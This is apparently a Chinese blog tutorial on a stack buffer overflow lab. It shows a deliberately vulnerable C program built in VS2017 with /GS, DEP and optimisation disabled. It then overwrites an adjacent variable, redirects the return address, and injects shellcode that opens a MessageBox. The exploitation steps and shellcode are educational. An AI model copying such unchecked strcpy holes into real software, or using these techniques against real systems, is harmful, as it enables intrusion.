栈溢出实践

实验代码

实验环境为Win10,编译工具为VS2017(Release)。

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
#include <string.h>

#define PASSWORD "1234567"

int verifyPassword(char* password)
{
	int authenticated;
	char buffer[44];

	authenticated = strcmp(password, PASSWORD);
	strcpy(buffer, password);

	return authenticated;
}

int main()
{
	int validFlag = 0;
	char password[1024];

	LoadLibraryA("user32.dll");
	FILE* fp = fopen("D:\\password.txt", "r");
	if (fp == NULL)
		return 0;

	fscanf(fp, "%s", password);
	validFlag = verifyPassword(password);

	if (validFlag)
		printf("incorrect password\n");
	else
		printf("Congratulation!");

	return 0;
}

需要注意一些编译设置,否则实验可能无法按照步骤完成。
在这里插入图片描述优化项选择 已禁用(/Od);启用内部函数项选择
在这里插入图片描述安全检查项选择 禁用安全检查(/GS-)
在这里插入图片描述数据执行保护(DEP)项选择

代码分析

通过IDA查看verifyPassword函数:
在这里插入图片描述
栈内容比较简单:
ebp-48 = buffer地址
ebp-4 = authenticated地址
ebp
RA
pPassword

1.修改邻接变量

如果读取的password比"1234567",authenticated=0x00000001,buffer字符串的NULL正好能覆盖0x01变成0x00,从而使authenticated=0x00000000。比如文本里输入44个’z’即可。

2.修改函数返回地址

继续往后覆盖的话就会覆盖到栈上保存的函数返回地址。我们使文本包含56个字节。在读取文件之前下好断点后启动VS进行调试,查看printf(“Congratulation!”);的地址。
在这里插入图片描述
本次将最后4个字节改为012211BA,继续执行后控制台打印出"Congratulation!"。

3.代码植入

    将buffer起始地址处填入执行代码,再将返回地址改为buffer的起始地址。当程序返回时便会跳转到buffer起始地址进行执行注入的代码。
    需要注入弹窗代码,通过以下代码获得user32.dll的基地址和MessageBoxA函数的地址:

HMODULE hDll = LoadLibrary("user32.dll");
FARPROC proc = GetProcAddress(hDll, "MessageBoxA");

    获得user32.dll的基地址和MessageBoxA函数的地址分别为0x76430000和0x764a7e60,在读取文件之前下好断点后启动VS进行调试。
在这里插入图片描述    查看当前user32.dll的基地址也为0x76430000,那么MessageBoxA的地址也为0x764a7e60。
    查看此时栈帧esp寄存器为0x00eff604,计算buffer的首地址等于D9F500-12-48=00D9F4C4。
    地址都得到了,编写注入代码如下:

xor ebx,ebx
push ebx
push 74736574H
mov eax,esp
push ebx
push eax
push eax
push ebx
mov eax,764a7e60H
call eax
loop0:
jmp loop0

    获得汇编代码的二进制表示,写入文件开头,并在最后四个字节填充此次buffer地址0‭x00D9F4C4‬。
在这里插入图片描述
    继续运行VS,可以看到弹出窗口:
在这里插入图片描述

后记

    如果没有 优化项选择 已禁用(/Od);启用内部函数项选择 ;的话,strcmp和strcpy都是内联在函数内的,循环复制的地址变量也存在栈上,所以不能简单的进行溢出覆盖,否则会将复制目的地址和源地址更改。
    如果没有 安全检查项选择 禁用安全检查(/GS-) 的话,函数返回时进行检查则会发生异常。
    如果没有 数据执行保护(DEP)项选择 的话,则栈上无法执行代码。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值